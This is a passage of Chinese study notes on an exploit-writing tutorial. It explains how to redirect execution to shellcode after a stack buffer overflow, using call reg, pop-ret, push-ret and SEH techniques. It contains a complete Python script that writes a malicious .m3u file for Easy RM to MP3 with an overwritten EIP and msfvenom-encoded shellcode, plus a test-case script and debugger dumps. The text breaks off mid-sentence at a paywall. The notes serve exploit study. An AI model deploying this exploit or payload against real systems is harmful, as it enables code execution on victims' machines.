本文为
Exploit编写教程的学习笔记,原文请点击这里
本文仅作以防御为目的的技术总结,所有操作均在实验环境下进行,请勿用于非法行为,否则后果自负。
如有侵权烦请告知,我们会立即删除并致歉。谢谢。
0x00 跳转到哪里
在上节文章中,讲解了发现漏洞并构建有效 exploit 的基础知识。在使用的例子中, ESP 直接指向栈缓冲区的 Shellcode 开头,并且可以使用 jmp esp 语句来跳转到 Shellcode 。使用 jmp esp 是一个几乎完美的方法,但不是每次都那么容易。本节文章将讨论执行或跳转到 Shellcode 的其他方法,最后谈谈遇到较小的缓冲区如何应对。
有以下方法可以执行 Shellcode :
- JMP/CALL reg
找到指向 Shellcode 地址的寄存器,在程序加载的DLL中查找
JMP或者CALL这个寄存器的 OPcode ,把这个 OPcode 的地址放入EIP。这就是上一篇文章中的技术。 - POP RET
如果没有寄存器直接指向 Shellcode ,但是在栈上有地址指向 Shellcode ,那么可以通过把一个指向
pop;ret;,或pop;pop;ret;,或pop;pop;pop;ret;的指针(取决于 Shellcode 在栈上的位置)放入EIP来把这个值加载到EIP。 - PUSH RET
这种方法与
JMP/CALL reg技术有点相似。如果有寄存器指向 Shellcode ,但是又不能使用JMP/CALL reg来跳转到寄存器,那就可以将此寄存器地址入栈,然后执行ret。所以要找一个PUSH reg;ret;的Opcode。 - JMP [reg+offset]
如果寄存器指向包含 Shellcode 的缓冲区,但不指向 Shellcode 的开头,那么可以在加载的DLL中找到
jmp [reg+offset]指令的Opcode。 - BLIND RETURN
RET指令的作用等同于EIP = POP [ESP]。即把栈顶指针ESP指向地址的内容放入EIP。利用这一特点可以在可用空间有限的情况下构建有效的漏洞利用程序。 - SEH
每个应用程序都有一个由操作系统提供的结构化异常处理(SEH)程序。如果应用程序本身没有异常处理,那就可以覆盖 SEH 的地址,跳转到自己的 Shellcode 。使用 SEH 可以使漏洞利用在 windows 平台上更加可靠,因为覆盖 EIP 将触发 SEH。
可能有多种方法跳转到 Shellcode ,也可能只有一种方法,也可能需要多种技术的组合。一个漏洞也很可能只会引发崩溃,不能利用。
0x01 CALL reg
如果寄存器直接指向 Shellcode 的地址,则可以执行 CALL reg 以直接跳转到 Shellcode 。换句话说,如果ESP直接指向 Shellcode 的第一个字节,那么你可以用 call esp 的地址覆盖 EIP,Shellcode就会被执行。 这适用于所有寄存器,因为 kernel32.dll 包含许多 CALL reg 地址。
假设 ESP 指向 Shellcode:首先,查找包含 call esp 的 Opcode地址,上节文章提到使用 windbg 查看汇编语言的 OPcode 方法,这里不再重复。

接下来写漏洞利用脚本,把EIP覆盖成 0x7c8369f0 。从本教程系列第一部分中的 Easy RM to MP3 示例,我们知道,通过在覆盖 EIP 和添加滑板指令,我们可以将 ESP 指向 shellcode 的开头。上节文章也提到了使用 msfvenom 生成有效 Payload 方法。最终的漏洞利用脚本将如下所示:
import pwn
filename = 'call_reg.m3u'
junk = b'\x41' * 26079
eip = pwn.p32(0x7c8369f0)
shellcode = b"\x90" * 25
shellcode += b"\xdb\xc6\xd9\x74\x24\xf4\x5e\x29\xc9\xba\x5d"
shellcode += b"\x65\x28\xff\xb1\x30\x31\x56\x18\x03\x56\x18"
shellcode += b"\x83\xee\xa1\x87\xdd\x03\xb1\xca\x1e\xfc\x41"
shellcode += b"\xab\x97\x19\x70\xeb\xcc\x6a\x22\xdb\x87\x3f"
shellcode += b"\xce\x90\xca\xab\x45\xd4\xc2\xdc\xee\x53\x35"
shellcode += b"\xd2\xef\xc8\x05\x75\x73\x13\x5a\x55\x4a\xdc"
shellcode += b"\xaf\x94\x8b\x01\x5d\xc4\x44\x4d\xf0\xf9\xe1"
shellcode += b"\x1b\xc9\x72\xb9\x8a\x49\x66\x09\xac\x78\x39"
shellcode += b"\x02\xf7\x5a\xbb\xc7\x83\xd2\xa3\x04\xa9\xad"
shellcode += b"\x58\xfe\x45\x2c\x89\xcf\xa6\x83\xf4\xe0\x54"
shellcode += b"\xdd\x31\xc6\x86\xa8\x4b\x35\x3a\xab\x8f\x44"
shellcode += b"\xe0\x3e\x14\xee\x63\x98\xf0\x0f\xa7\x7f\x72"
shellcode += b"\x03\x0c\x0b\xdc\x07\x93\xd8\x56\x33\x18\xdf"
shellcode += b"\xb8\xb2\x5a\xc4\x1c\x9f\x39\x65\x04\x45\xef"
shellcode += b"\x9a\x56\x26\x50\x3f\x1c\xca\x85\x32\x7f\x80"
shellcode += b"\x58\xc0\x05\xe6\x5b\xda\x05\x56\x34\xeb\x8e"
shellcode += b"\x39\x43\xf4\x44\x7e\xb5\x05\x55\x6a\x22\xbc"
shellcode += b"\x0c\xd7\x2e\x3f\xfb\x1b\x57\xbc\x0e\xe3\xac"
shellcode += b"\xdc\x7a\xe6\xe9\x5a\x96\x9a\x62\x0f\x98\x09"
shellcode += b"\x82\x1a\xfb\xcc\x10\xc6\xfc"
file = open(filename, "wb")
file.write(junk + eip + shellcode)
file.close()

PWNED!
0x02 POP RET
之前的例子都是依赖于有寄存器指向 Shellcode,如果没有寄存器指向 Shellcode 呢?
在这种情况下,指向 Shellcode 的地址可能在栈上。通过转储 esp 并查看第一个地址,如果有一个地址指向 Shellcode 或者可控缓冲区,那么就可以使用 POP RET ,从栈上取出地址(每次 pop 取出一个地址)并跳转到 Shellcode 的地址。 POP RET 技术只有在 ESP+offset 能包含 shellcode 的地址时才可用。
POP RET 还有第二种用途:如果能控制 EIP,没有寄存器指向 shellcode ,但是 shellcode 在 ESP+8 的位置。在这种情况下,可以把 pop;pop;ret; 的地址放入 EIP 中,这样就会跳转到 ESP+8 。如果把一个指向 jmp esp 的指针放在 ESP+8 的位置,那么就会执行 jmp esp 指令跳转到此指令后面的 shellcode。
先构建一个测试用例。在覆盖 EIP 之前需要 26079 个字节,到达栈顶需要4个字节,第一个中断,7个 NOP,第二个中断,300个 NOP。假设 Shellcode 从第二个中断处开始。 目标是绕过第一个中断,直接跳到第二个中断,即 ESP+8 处的 Shellcode 。
生成测试文件的脚本如下:
filename = 'pop_ret.m3u'
junk = b'\x41' * 26079
eip = b"BBBB"
preshellcode = b"xxxx"
shellcode = b'\xcc' # First break
shellcode += b'\x90' * 7 # 1+7=8, it's 8 bytes
shellcode += b'\xcc' # Second break
shellcode += b'\x90' * 300 # Real Shellcode
file = open(filename, "wb")
file.write(junk + eip + preshellcode + shellcode)
file.close()
把生成的测试文件在软件中打开,触发崩溃后调试,查看栈布局:
eax=00000001 ebx=00104a58 ecx=7c93003d edx=00000010 esi=77c2fce0 edi=0000671c
eip=42424242 esp=000ffd38 ebp=00104678 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
<Unloaded_POOL.DRV>+0x42424241:
42424242 ?? ???
0:000> d esp
000ffd38 cc 90 90 90 90 90 90 90-cc 90 90 90 90 90 90 90 ................
000ffd48 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffd58 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffd68 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffd78 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffd88 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffd98 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffda8 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0:000> d esp+8
000ffd40 cc 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffd50 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffd60 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffd70 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffd80 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffd90 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffda0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffdb0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
目标是修改 ESP+8 的值,使其能够跳转到 Shellcode ,并将其放入 EIP 中。 我们将使用 pop ret + jmp esp 来完成此操作。
POP 指令将从栈顶获取 4 个字节。 因此, ESP 将指向 000ffd3c 。 第二次运行 POP 指令后, ESP 将指向

本文详细介绍了在缓冲区溢出攻击中如何利用Exploit技术来执行Shellcode,包括JMP/CALLreg、POPRET、PUSHRET、JMP[REG+offset]和BLINDRET等方法。通过实例演示了如何在不同情况下构建有效负载,以绕过限制并在有限的缓冲区中执行Shellcode。
最低0.47元/天 解锁文章
2523

被折叠的 条评论
为什么被折叠?



